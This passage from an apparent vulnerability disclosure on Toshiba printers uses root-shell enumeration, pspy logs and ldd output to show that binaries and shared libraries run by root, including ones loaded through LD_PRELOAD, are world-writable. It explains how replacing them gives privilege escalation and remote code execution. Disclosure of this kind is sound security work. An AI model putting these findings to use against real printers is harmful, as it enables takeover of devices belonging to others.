- - /home/SYSROM_SRC/build/release/bin/alpdlfiltermanager
- - /home/SYSROM_SRC/build/release/bin/alpresentationresourcemgr
- - /home/SYSROM_SRC/build/release/bin/alprintmn
- - /home/SYSROM_SRC/build/release/bin/alreportmanager
- - /home/SYSROM_SRC/build/release/bin/alreportsmsgr
- - /home/SYSROM_SRC/build/release/bin/alrestrictionmode
- - /home/SYSROM_SRC/build/release/bin/alrolemgr
- - /home/SYSROM_SRC/build/release/bin/alsecurityconfiguration
- - /home/SYSROM_SRC/build/release/bin/alServiceUIPlugin
- - /home/SYSROM_SRC/build/release/bin/alsharedprintDp
- - /home/SYSROM_SRC/build/release/bin/alsoftwareupdateclient
- - /home/SYSROM_SRC/build/release/bin/alstage2
- - /home/SYSROM_SRC/build/release/bin/alUiFrameWork
- - /home/SYSROM_SRC/build/release/bin/alulm
- - /home/SYSROM_SRC/build/release/bin/alusbmscapplication
- - /home/SYSROM_SRC/build/release/bin/alusbPrint
- - /home/SYSROM_SRC/build/release/bin/aluserAuthMgr
- - /home/SYSROM_SRC/build/release/bin/alusermgr
- - /home/SYSROM_SRC/build/release/bin/alViewPlugin
- - /home/SYSROM_SRC/build/release/bin/alwsdiscovery
- - /home/SYSROM_SRC/build/release/bin/alwsmex
- - /home/SYSROM_SRC/build/release/bin/alwsprint
- - /home/SYSROM_SRC/build/release/bin/alwsscanner
- - /home/SYSROM_SRC/build/release/bin/armn
- - /home/SYSROM_SRC/build/release/bin/cipollproc
- - /home/SYSROM_SRC/build/release/bin/ciprioritymanager
- - /home/SYSROM_SRC/build/release/bin/cischeduler
- - /home/SYSROM_SRC/build/release/bin/cissm
- - /home/SYSROM_SRC/build/release/bin/cisystemresourcemanager
- - /home/SYSROM_SRC/build/release/bin/cpe
- - /home/SYSROM_SRC/build/release/bin/de_ipfax
- - /home/SYSROM_SRC/build/release/bin/dem
- - /home/SYSROM_SRC/build/release/bin/dim
- - /home/SYSROM_SRC/build/release/bin/ebx_dl
- - /home/SYSROM_SRC/build/release/bin/faxmilter
- - /home/SYSROM_SRC/build/release/bin/informationservice
- - /home/SYSROM_SRC/build/release/bin/notificationservice
- - /home/SYSROM_SRC/build/release/bin/pipeMN
- - /home/SYSROM_SRC/build/release/bin/sim
- - /home/SYSROM_SRC/build/release/bin/sljobmanagement
- - /home/SYSROM_SRC/build/release/bin/snmp_watchdog
- - /home/SYSROM_SRC/build/release/bin/ssdktimestamp
- - /home/SYSROM_SRC/build/release/bin/wfpc
- - /home/SYSROM_SRC/build/thirdparty/bin/alipp
- - /home/SYSROM_SRC/build/thirdparty/bin/dibbler-client
- - /home/SYSROM_SRC/build/thirdparty/bin/mDNSResponderPosix
- - /home/SYSROM_SRC/build/thirdparty/bin/nqcs
- - /home/SYSROM_SRC/build/thirdparty/bin/nqnd
- - /home/SYSROM_SRC/build/thirdparty/bin/python3.5
- - /home/SYSROM_SRC/build/thirdparty/bin/vsftpd
- - /home/SYSROM_SRC/build/thirdparty/libexec/slapd
- - /home/SYSROM_SRC/build/thirdparty/sbin/snmpd
- - /usr/local/ebx/bin/httpd
- - /usr/local/ebx/httpd_worker/bin/httpd_worker
The analysis is shown below.
Vulnerable programs running as root, with insecure permissions:
bash-4.1# for i in $(ps auxww | grep root | awk '{ print $11 }' | grep -v '^\[' | grep -v COMMAND | grep -v '(' | grep -v ':$' | grep -v 'supervising' | sort | uniq); do ls -la $(which "$(echo $i | sed -e 's#^\./##')");done
-rwxrwxrwx 1 root root 562669 Dec 6 04:10 /home/SYSROM_SRC/build/release/bin/agent_faxreceive
-rwxrwxrwx 1 root root 608397 Dec 6 04:11 /home/SYSROM_SRC/build/release/bin/agent_faxtransmit
-rwxrwxrwx 1 root root 561916 Dec 6 04:38 /home/SYSROM_SRC/build/release/bin/agent_ipfaxreceive
-rwxrwxrwx 1 root root 594505 Dec 6 04:38 /home/SYSROM_SRC/build/release/bin/agent_ipfaxtransmit
-rwxrwxrwx 1 root root 572434 Dec 6 04:11 /home/SYSROM_SRC/build/release/bin/agent_print
-rwxrwxrwx 1 root root 556369 Dec 6 04:10 /home/SYSROM_SRC/build/release/bin/agent_rip
-rwxrwxrwx 1 root root 557372 Dec 6 04:10 /home/SYSROM_SRC/build/release/bin/agent_scan
-rwxrwxrwx 1 root root 2191621 Dec 6 02:13 /home/SYSROM_SRC/build/release/bin/alAddressBookMgr
-rwxrwxrwx 1 root root 939045 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/alCloning
-rwxrwxrwx 1 root root 1019576 Dec 6 02:20 /home/SYSROM_SRC/build/release/bin/alExportImport
-rwxrwxrwx 1 root root 1354094 Dec 6 02:15 /home/SYSROM_SRC/build/release/bin/alLogRetriever
-rwxrwxrwx 1 root root 734343 Dec 6 02:21 /home/SYSROM_SRC/build/release/bin/alLogmanager
-rwxrwxrwx 1 root root 241886 Dec 6 02:24 /home/SYSROM_SRC/build/release/bin/alPanelStartLEDHandler
-rwxrwxrwx 1 root root 2282226 Dec 6 02:24 /home/SYSROM_SRC/build/release/bin/alPanelUIMessageHandler
-rwxrwxrwx 1 root root 211250 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/alServiceUIPlugin
-rwxrwxrwx 1 root root 6104526 Dec 6 03:51 /home/SYSROM_SRC/build/release/bin/alUiFrameWork
-rwxrwxrwx 1 root root 673942 Dec 6 02:20 /home/SYSROM_SRC/build/release/bin/alViewPlugin
-rwxrwxrwx 1 root root 2896387 Dec 6 02:12 /home/SYSROM_SRC/build/release/bin/alaccountmgr
-rwxrwxrwx 1 root root 2917038 Dec 6 02:26 /home/SYSROM_SRC/build/release/bin/alappmanager
-rwxrwxrwx 1 root root 1055271 Dec 6 01:49 /home/SYSROM_SRC/build/release/bin/alboserver
-rwxrwxrwx 1 root root 322981 Dec 6 02:08 /home/SYSROM_SRC/build/release/bin/alcbamanager
-rwxrwxrwx 1 root root 2528851 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/aldevauthmgmtplugin
-rwxrwxrwx 1 root root 4386856 Dec 6 03:30 /home/SYSROM_SRC/build/release/bin/aldeviceconfigplugin
-rwxrwxrwx 1 root root 4300169 Dec 6 03:25 /home/SYSROM_SRC/build/release/bin/aldeviceserviceplugin
-rwxrwxrwx 1 root root 1915456 Dec 6 02:14 /home/SYSROM_SRC/build/release/bin/aleFilingmgr
-rwxrwxrwx 1 root root 580229 Dec 6 01:50 /home/SYSROM_SRC/build/release/bin/alfilestoragem
-rwxrwxrwx 1 root root 509900 Dec 6 02:21 /home/SYSROM_SRC/build/release/bin/algrpmgr
-rwxrwxrwx 1 root root 441641 Dec 6 02:24 /home/SYSROM_SRC/build/release/bin/alhddalertmgr
-rwxrwxrwx 1 root root 696894 Dec 6 02:24 /home/SYSROM_SRC/build/release/bin/alhddbackuprestore
-rwxrwxrwx 1 root root 829606 Dec 6 02:16 /home/SYSROM_SRC/build/release/bin/alhomedatamgr
-rwxrwxrwx 1 root root 606628 Dec 6 03:28 /home/SYSROM_SRC/build/release/bin/alifaxreceive
-rwxrwxrwx 1 root root 162074 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/alintegritychkmgr
-rwxrwxrwx 1 root root 4414769 Dec 6 02:08 /home/SYSROM_SRC/build/release/bin/aljobcontroller
-rwxrwxrwx 1 root root 2832921 Dec 6 02:15 /home/SYSROM_SRC/build/release/bin/aljobtemplatemgr
-rwxrwxrwx 1 root root 434559 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/allicensemgmt
-rwxrwxrwx 1 root root 1258130 Dec 6 02:15 /home/SYSROM_SRC/build/release/bin/almailboxapplication
-rwxrwxrwx 1 root root 4674491 Dec 6 03:32 /home/SYSROM_SRC/build/release/bin/almaintenanceplugin
-rwxrwxrwx 1 root root 2339610 Dec 6 02:25 /home/SYSROM_SRC/build/release/bin/alnfcplugin
-rwxrwxrwx 1 root root 743285 Dec 6 01:53 /home/SYSROM_SRC/build/release/bin/alnsm
-rwxrwxrwx 1 root root 740586 Dec 6 03:45 /home/SYSROM_SRC/build/release/bin/alpanel
-rwxrwxrwx 1 root root 292667 Dec 6 02:21 /home/SYSROM_SRC/build/release/bin/alpdlfiltermanager
-rwxrwxrwx 1 root root 387749 Dec 6 02:22 /home/SYSROM_SRC/build/release/bin/alpresentationresourcemgr
-rwxrwxrwx 1 root root 1314049 Dec 6 01:52 /home/SYSROM_SRC/build/release/bin/alprintmn
-rwxrwxrwx 1 root root 2360596 Dec 6 03:22 /home/SYSROM_SRC/build/release/bin/alreportmanager
-rwxrwxrwx 1 root root 595735 Dec 6 03:21 /home/SYSROM_SRC/build/release/bin/alreportsmsgr
-rwxrwxrwx 1 root root 1367678 Dec 6 02:19 /home/SYSROM_SRC/build/release/bin/alrestrictionmode
-rwxrwxrwx 1 root root 1253012 Dec 6 02:21 /home/SYSROM_SRC/build/release/bin/alrolemgr
-rwxrwxrwx 1 root root 2272202 Dec 6 02:18 /home/SYSROM_SRC/build/release/bin/alsecurityconfiguration
-rwxrwxrwx 1 root root 972621 Dec 6 03:52 /home/SYSROM_SRC/build/release/bin/alsharedprintDp
-rwxrwxrwx 1 root root 1060254 Dec 6 02:13 /home/SYSROM_SRC/build/release/bin/alsoftwareupdateclient
-rwxrwxrwx 1 root root 1711439 Dec 6 02:25 /home/SYSROM_SRC/build/release/bin/alulm
-rwxrwxrwx 1 root root 612467 Dec 6 02:18 /home/SYSROM_SRC/build/release/bin/alusbmscapplication
-rwxrwxrwx 1 root root 3759736 Dec 6 02:17 /home/SYSROM_SRC/build/release/bin/aluserAuthMgr
-rwxrwxrwx 1 root root 2874311 Dec 6 02:20 /home/SYSROM_SRC/build/release/bin/alusermgr
-rwxrwxrwx 1 root root 899734 Dec 6 01:53 /home/SYSROM_SRC/build/release/bin/alwsdiscovery
-rwxrwxrwx 1 root root 809391 Dec 6 01:53 /home/SYSROM_SRC/build/release/bin/alwsmex
-rwxrwxrwx 1 root root 3782642 Dec 6 01:55 /home/SYSROM_SRC/build/release/bin/alwsprint
-rwxrwxrwx 1 root root 4271522 Dec 6 01:56 /home/SYSROM_SRC/build/release/bin/alwsscanner
-rwxrwxrwx 1 root root 355919 Dec 6 03:53 /home/SYSROM_SRC/build/release/bin/armn
-rwxrwxrwx 1 root root 18113 Dec 6 01:42 /home/SYSROM_SRC/build/release/bin/cipollproc
-rwxrwxrwx 1 root root 71587 Dec 6 01:42 /home/SYSROM_SRC/build/release/bin/ciprioritymanager
-rwxrwxrwx 1 root root 445362 Dec 6 01:42 /home/SYSROM_SRC/build/release/bin/cischeduler
-rwxrwxrwx 1 root root 532898 Dec 6 01:42 /home/SYSROM_SRC/build/release/bin/cissm
-rwxrwxrwx 1 root root 508004 Dec 6 01:48 /home/SYSROM_SRC/build/release/bin/cisystemresourcemanager
-rwxrwxrwx 1 root root 501163 Dec 6 04:16 /home/SYSROM_SRC/build/release/bin/cpe
-rwxrwxrwx 1 root root 1016124 Dec 6 04:39 /home/SYSROM_SRC/build/release/bin/de_ipfax
-rwxrwxrwx 1 root root 303779 Dec 6 04:16 /home/SYSROM_SRC/build/release/bin/dem
-rwxrwxrwx 1 root root 622110 Dec 6 04:16 /home/SYSROM_SRC/build/release/bin/dim
-rwxrwxrwx 1 root root 12229927 Dec 6 04:44 /home/SYSROM_SRC/build/release/bin/ebx_dl
-rwxrwxrwx 1 root root 1649127 Dec 6 04:02 /home/SYSROM_SRC/build/release/bin/informationservice
-rwxrwxrwx 1 root root 1257189 Dec 6 04:01 /home/SYSROM_SRC/build/release/bin/notificationservice
-rwxrwxrwx 1 root root 426167 Dec 6 04:14 /home/SYSROM_SRC/build/release/bin/pipeMN
-rwxrwxrwx 1 root root 269419 Dec 6 04:02 /home/SYSROM_SRC/build/release/bin/sim
-rwxrwxrwx 1 root root 258577 Dec 6 04:02 /home/SYSROM_SRC/build/release/bin/sljobmanagement
-rwxrwxrwx 1 root root 32089 Mar 14 16:28 /home/SYSROM_SRC/build/release/bin/ssdktimestamp
-rwxrwxrwx 1 root root 5986687 Dec 6 04:07 /home/SYSROM_SRC/build/release/bin/wfpc
-rwxrwxrwx 1 root root 78627 Dec 6 02:00 /home/SYSROM_SRC/bin/alllmnr
-rwxrwxrwx 1 root root 68223 Dec 6 01:57 /home/SYSROM_SRC/bin/dnsValidateDaemon
-rwxrwxrwx 1 root root 104184 Dec 6 01:48 /home/SYSROM_SRC/bin/eBXDebugLogUtility
-rwxrwxrwx 1 root root 76674 Dec 6 02:01 /home/SYSROM_SRC/bin/ipv6_daemon
-rwxrwxrwx 1 root root 28318 Dec 6 01:40 /home/SYSROM_SRC/bin/mapper
-rwxrwxrwx 1 root root 167219 Dec 6 01:48 /home/SYSROM_SRC/bin/syscallerr
-rwxrwxrwx 1 root root 316382 Dec 6 02:03 /home/SYSROM_SRC/build/release/bin/aleSCL
-rwxrwxrwx 1 root root 21142 Dec 6 02:01 /home/SYSROM_SRC/build/release/bin/alftpprintd
-rwxrwxrwx 1 root root 243145 Dec 6 01:53 /home/SYSROM_SRC/build/release/bin/alhp9100
-rwxrwxrwx 1 root root 84257 Dec 6 01:56 /home/SYSROM_SRC/build/release/bin/allld2d
-rwxrwxrwx 1 root root 270934 Dec 6 01:53 /home/SYSROM_SRC/build/release/bin/allprng
-rwxrwxrwx 1 root root 389522 Dec 6 02:02 /home/SYSROM_SRC/build/release/bin/alnetefiRemoteifsr
-rwxrwxrwx 1 root root 15176259 Dec 6 03:39 /home/SYSROM_SRC/build/release/bin/alstage2
-rwxrwxrwx 1 root root 126466 Dec 6 02:01 /home/SYSROM_SRC/build/release/bin/alusbPrint
-rwxrwxrwx 1 root root 1419229 Dec 6 02:01 /home/SYSROM_SRC/build/release/bin/faxmilter
-rwxrwxrwx 1 root root 21638 Dec 6 03:28 /home/SYSROM_SRC/build/release/bin/snmp_watchdog
-rwxrwxrwx 1 apache messagebus 656546 Dec 6 01:34 /usr/local/ebx/bin/httpd
-rwxrwxrwx 1 apache messagebus 665612 Dec 6 01:34 /usr/local/ebx/httpd_worker/bin/httpd_worker
The previous command lists symbolic links that we can analyze, and we can confirm they are also vulnerable due to insecure permissions:
lrwxrwxrwx 1 root root 35 Mar 14 16:27 /home/SYSROM_SRC/bin/dibbler-client -> ../../thirdparty/bin/dibbler-client
lrwxrwxrwx 1 root root 26 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/alipp -> ../../thirdparty/bin/alipp
lrwxrwxrwx 1 root root 39 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/mDNSResponderPosix -> ../../thirdparty/bin/mDNSResponderPosix
lrwxrwxrwx 1 root root 25 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/nqcs -> ../../thirdparty/bin/nqcs
lrwxrwxrwx 1 root root 25 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/nqnd -> ../../thirdparty/bin/nqnd
lrwxrwxrwx 1 root root 30 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/slapd -> ../../thirdparty/libexec/slapd
lrwxrwxrwx 1 root root 27 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/snmpd -> ../../thirdparty/sbin/snmpd
lrwxrwxrwx 1 root root 27 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/vsftpd -> ../../thirdparty/bin/vsftpd
lrwxrwxrwx 1 root root 27 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/python -> ../../thirdparty/bin/python
bash-4.1# for i in dibbler-client alipp mDNSResponderPosix nqcs nqnd vsftpd python; do ls -la /home/SYSROM_SRC/build/thirdparty/bin/$i;done
-rwxrwxrwx 1 root root 11339780 Dec 6 01:38 /home/SYSROM_SRC/build/thirdparty/bin/dibbler-client
-rwxrwxrwx 1 apache messagebus 653763 Dec 6 01:40 /home/SYSROM_SRC/build/thirdparty/bin/alipp
-rwxrwxrwx 1 root root 429709 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/bin/mDNSResponderPosix
-rwxrwxrwx 1 apache messagebus 1342015 Dec 6 01:35 /home/SYSROM_SRC/build/thirdparty/bin/nqcs
-rwxrwxrwx 1 apache messagebus 501752 Dec 6 01:35 /home/SYSROM_SRC/build/thirdparty/bin/nqnd
-rwxrwxrwx 1 root root 232030 Dec 6 01:34 /home/SYSROM_SRC/build/thirdparty/bin/vsftpd
lrwxrwxrwx 1 root root 7 Mar 14 16:27 /home/SYSROM_SRC/build/thirdparty/bin/python -> python3
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/libexec/slapd
-rwxrwxrwx 1 root root 1709140 Dec 6 01:34 /home/SYSROM_SRC/build/thirdparty/libexec/slapd
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/sbin/snmpd
-rwxrwxrwx 1 apache messagebus 41801 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/sbin/snmpd
bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/python3
lrwxrwxrwx 1 root root 28 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/python3 -> ../../thirdparty/bin/python3
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/python3
lrwxrwxrwx 1 root root 9 Mar 14 16:27 /home/SYSROM_SRC/build/thirdparty/bin/python3 -> python3.5
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/python3.5
-rwxrwxrwx 1 root root 20997 Dec 6 01:28 /home/SYSROM_SRC/build/thirdparty/bin/python3.5
bash-4.1#
An attacker can remotely compromise any Toshiba printer.
The programs can be replaced by malicious programs by any local or remote attacker.
## Details - Local Privilege Escalation and Remote Code Execution using insecure permissions for libraries
Some vendor-specific programs are running inside Toshiba printers. These programs run as root and use code from libraries that have insecure permissions (777) allowing an attacker to replace these libraries with malicious ones. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library using the Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations vulnerability.
For example, the `/home/SYSROM_SRC/bin/syscallerr` program runs regularly as root:
### Example with `/home/SYSROM_SRC/bin/syscallerr`:
Output of `pspy32`, where we can see `/home/SYSROM_SRC/bin/syscallerr` running regularly as root:
2023/05/27 16:13:35 CMD: UID=0 PID=31370 | sh -c du -cb /work/log/corefiles/core.* 2> /dev/null | grep total | awk '{print $1}'
2023/05/27 16:13:35 CMD: UID=0 PID=31373 | sh -c du -cb /work/log/corefiles/core.* 2> /dev/null | grep total | awk '{print $1}'
2023/05/27 16:13:35 CMD: UID=0 PID=31372 | grep total
2023/05/27 16:13:35 CMD: UID=0 PID=31371 | sh -c du -cb /work/log/corefiles/core.* 2> /dev/null | grep total | awk '{print $1}'
2023/05/27 16:13:35 CMD: UID=0 PID=31374 | /home/SYSROM_SRC/bin/syscallerr
2023/05/27 16:13:35 CMD: UID=0 PID=31376 | awk {print}
2023/05/27 16:13:35 CMD: UID=0 PID=31375 |
2023/05/27 16:13:35 CMD: UID=0 PID=31377 | sh -c ps -e | grep ebx_dl
2023/05/27 16:13:35 CMD: UID=0 PID=31379 | grep ebx_dl
2023/05/27 16:13:35 CMD: UID=0 PID=31378 | ps -e
2023/05/27 16:13:35 CMD: UID=0 PID=31380 | /home/SYSROM_SRC/bin/syscallerr
2023/05/27 16:13:35 CMD: UID=0 PID=31383 | sh -c ps -e | grep ebx_dl | awk '{print $5}'
2023/05/27 16:13:35 CMD: UID=0 PID=31382 |
2023/05/27 16:13:35 CMD: UID=0 PID=31381 | ps -e
2023/05/27 16:13:35 CMD: UID=0 PID=31384 | sh -c ps -e | grep cissm
2023/05/27 16:13:35 CMD: UID=0 PID=31386 | grep cissm
2023/05/27 16:13:35 CMD: UID=0 PID=31385 | ps -e
2023/05/27 16:13:35 CMD: UID=0 PID=31387 | sh -c dd if=/dev/mtdblock1 of=/ramdisk/FROM_SERIAL > /dev/null 2>&1
2023/05/27 16:13:35 CMD: UID=0 PID=31388 | dd if=/dev/mtdblock1 of=/ramdisk/FROM_SERIAL
2023/05/27 16:13:35 CMD: UID=0 PID=31389 | sh -c ps -e | grep ebx_dl
2023/05/27 16:13:35 CMD: UID=0 PID=31391 | grep ebx_dl
When analyzing this program, we can find several shared libraries that will be loaded - their code will be executed as root.
We can find the previously vulnerable shared libraries defined with LD_PRELOAD:
- - `/ramdisk/al/libGetNameInfoInterface.so`
- - `/ramdisk/al/libGetAddtInfoInterface.so`
We can also find several libraries that are being loaded:
bash-4.1# ldd /home/SYSROM_SRC/bin/syscallerr
linux-gate.so.1 => (0x777c0000)
/ramdisk/al/libGetNameInfoInterface.so (0x777b1000)
/ramdisk/al/libGetAddtInfoInterface.so (0x777a0000)
libpthread.so.0 => /lib/libpthread.so.0 (0x77780000)
libsqlite3.so.0 => /usr/lib/libsqlite3.so.0 (0x4be4c000)
libciindexeddb.so => /home/SYSROM_SRC/build/release/lib/libciindexeddb.so (0x77729000)
libsyscallerr.so => /home/SYSROM_SRC/build/release/lib/libsyscallerr.so (0x77720000)
libcios.so => /home/SYSROM_SRC/build/release/lib/libcios.so (0x776ad000)
libatawrapper.so.0 => /mfp/lib/libatawrapper.so.0 (0x7768b000)
libmfpcommonwrapper.so.0 => /mfp/lib/libmfpcommonwrapper.so.0 (0x77682000)
libcrypto.so.1.0.0 => /home/SYSROM_SRC/build/release/lib/libcrypto.so.1.0.0 (0x77420000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0x4c04f000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x4c14b000)
libintlc.so.5 => /usr/lib/libintlc.so.5 (0x773c3000)
libsvml.so => /mfp/lib/libsvml.so (0x76ba9000)
libc.so.6 => /lib/libc.so.6 (0x4bc67000)
libdl.so.2 => /lib/libdl.so.2 (0x4bdaf000)
libllmnrclient.so => /home/SYSROM_SRC/build/release/lib/libllmnrclient.so (0x76b95000)
/lib/ld-linux.so.2 (0x4bc47000)
libsqlite.so.0 => /home/SYSROM_SRC/build/release/lib/libsqlite.so.0 (0x76b35000)
libcpanel.so.0 => /mfp/lib/libcpanel.so.0 (0x76b0e000)
libcimsg.so => /home/SYSROM_SRC/build/release/lib/libcimsg.so (0x76b02000)
libcissmclient.so => /home/SYSROM_SRC/build/release/lib/libcissmclient.so (0x76ae8000)
libacl.so.1 => /lib/libacl.so.1 (0x4bdd7000)
librt.so.1 => /lib/librt.so.1 (0x4be15000)
libm.so.6 => /lib/libm.so.6 (0x76abf000)
libssdk.so.0 => /home/SYSROM_SRC/build/release/lib/libssdk.so.0 (0x75f1e000)
libcihdb.so => /home/SYSROM_SRC/build/release/lib/libcihdb.so (0x75e56000)
libattr.so.1 => /lib/libattr.so.1 (0x4bdd0000)
libpam.so.0 => /lib/libpam.so.0 (0x75e4a000)
libldap-2.4.so.2 => /home/SYSROM_SRC/build/release/lib/libldap-2.4.so.2 (0x75e12000)
libssl.so.1.0.0 => /home/SYSROM_SRC/build/release/lib/libssl.so.1.0.0 (0x75da6000)
libk5crypto.so.3 => /usr/lib/libk5crypto.so.3 (0x75d84000)
libresolv.so.2 => /lib/libresolv.so.2 (0x4c164000)
libext2fs.so.2 => /usr/lib/libext2fs.so.2 (0x75d5a000)
libuuid.so.1 => /usr/lib/libuuid.so.1 (0x4be0f000)
libkrb5support.so.0 => /usr/lib/libkrb5support.so.0 (0x75d53000)
libkrb5.so.25 => /home/SYSROM_SRC/build/release/lib/libkrb5.so.25 (0x75ce2000)
libgssapi.so.2 => /home/SYSROM_SRC/build/release/lib/libgssapi.so.2 (0x75cae000)
libCryptolib.so.0 => /home/SYSROM_SRC/build/release/lib/libCryptolib.so.0 (0x75c2b000)
libirng.so => /usr/lib/libirng.so (0x75c22000)
libcilkrts.so.5 => /usr/lib/libcilkrts.so.5 (0x75bee000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0x4c403000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x75bbc000)
liblber-2.4.so.2 => /home/SYSROM_SRC/build/release/lib/liblber-2.4.so.2 (0x75bb0000)
libsasl2.so.2 => /home/SYSROM_SRC/build/release/lib/libsasl2.so.2 (0x75b8c000)
libcom_err.so.2 => /usr/lib/libcom_err.so.2 (0x4bdee000)
libhx509.so.5 => /home/SYSROM_SRC/build/release/lib/libhx509.so.5 (0x75b4b000)
libheimsqlite.so.0 => /home/SYSROM_SRC/build/release/lib/libheimsqlite.so.0 (0x75ad7000)
libhcrypto.so.4 => /home/SYSROM_SRC/build/release/lib/libhcrypto.so.4 (0x75aa4000)
libasn1.so.8 => /home/SYSROM_SRC/build/release/lib/libasn1.so.8 (0x75a02000)
libwind.so.0 => /home/SYSROM_SRC/build/release/lib/libwind.so.0 (0x759da000)
libcom_err.so.1 => /home/SYSROM_SRC/build/release/lib/libcom_err.so.1 (0x759d6000)
libroken.so.18 => /home/SYSROM_SRC/build/release/lib/libroken.so.18 (0x759c2000)
libheimntlm.so.0 => /home/SYSROM_SRC/build/release/lib/libheimntlm.so.0 (0x759bc000)
bash-4.1#
We can find these 31 insecure libraries:
- - /home/SYSROM_SRC/build/release/lib/libciindexeddb.so.0
- - /home/SYSROM_SRC/build/release/lib/libsyscallerr.so.0
- - /home/SYSROM_SRC/build/release/lib/libcios.so.0
- - /mfp/lib/libatawrapper.so.0.0
- - /mfp/lib/libmfpcommonwrapper.so.0.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libcrypto.so.1.0.0
- - /mfp/lib/libsvml.so
- - /home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libsqlite.so.0.8.6
- - /mfp/lib/libcpanel.so.0.0
- - /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libsqlite.so.0.8.6
- - /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
- - /home/SYSROM_SRC/build/release/lib/libcissmclient.so.0
- - /home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0
- - /home/SYSROM_SRC/build/release/lib/libcihdb.so.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6
- - /home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libgssapi.so.2.0.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0
- - /home/SYSROM_SRC/NoBuildItems/common/lib/libCryptolib.so.0
- - /home/SYSROM_SRC/NoBuildItems/common/lib/libCryptolib.so.0.0.0
- - /home/SYSROM_SRC/build/thirdparty/lib/liblber-2.4.so.2.5.6
- - /home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3
- - /home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0
- - /home/SYSROM_SRC/build/thirdparty/lib/libheimntlm.so.0.1.0
The permissions of these libraries are insecure. A remote attacker can overwrite them and achieve Remote Code Execution:
-rwxrwxrwx 1 root root 322261 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libciindexeddb.so.0
-rwxrwxrwx 1 root root 343680 Dec 6 01:48 /home/SYSROM_SRC/build/release/lib/libsyscallerr.so.0
-rwxrwxrwx 1 root root 566991 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libcios.so.0
-rwxrwxrwx 1 root root 139986 Sep 19 2019 /mfp/lib/libatawrapper.so.0.0
-rwxrwxrwx 1 root root 38330 May 28 2019 /mfp/lib/libmfpcommonwrapper.so.0.0
-rwxrwxrwx 1 apache messagebus 2765203 Dec 6 01:28 /home/SYSROM_SRC/build/thirdparty/lib/libcrypto.so.1.0.0
-rwxrwxrwx 1 root root 9479623 Apr 25 2014 /mfp/lib/libsvml.so
-rwxrwxrwx 1 root root 95211 Dec 6 02:00 /home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0
-rwxrwxrwx 1 root root 744984 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libsqlite.so.0.8.6
-rwxrwxrwx 1 root root 48131 Apr 8 2019 /mfp/lib/libcpanel.so.0.0
-rwxrwxrwx 1 root root 58976 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
-rwxrwxrwx 1 root root 744984 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libsqlite.so.0.8.6
-rwxrwxrwx 1 root root 58976 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
-rwxrwxrwx 1 root root 127850 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libcissmclient.so.0
-rwxrwxrwx 1 root root 14101772 Dec 6 01:40 /home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0
-rwxrwxrwx 1 root root 909064 Dec 6 01:41 /home/SYSROM_SRC/build/release/lib/libcihdb.so.0
-rwxrwxrwx 1 root root 269392 Dec 6 01:34 /home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6
-rwxrwxrwx 1 apache messagebus 485480 Dec 6 01:28 /home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0
-rwxrwxrwx 1 root root 251701 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libgssapi.so.2.0.0
-rwxrwxrwx 1 root root 539700 Dec 6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0
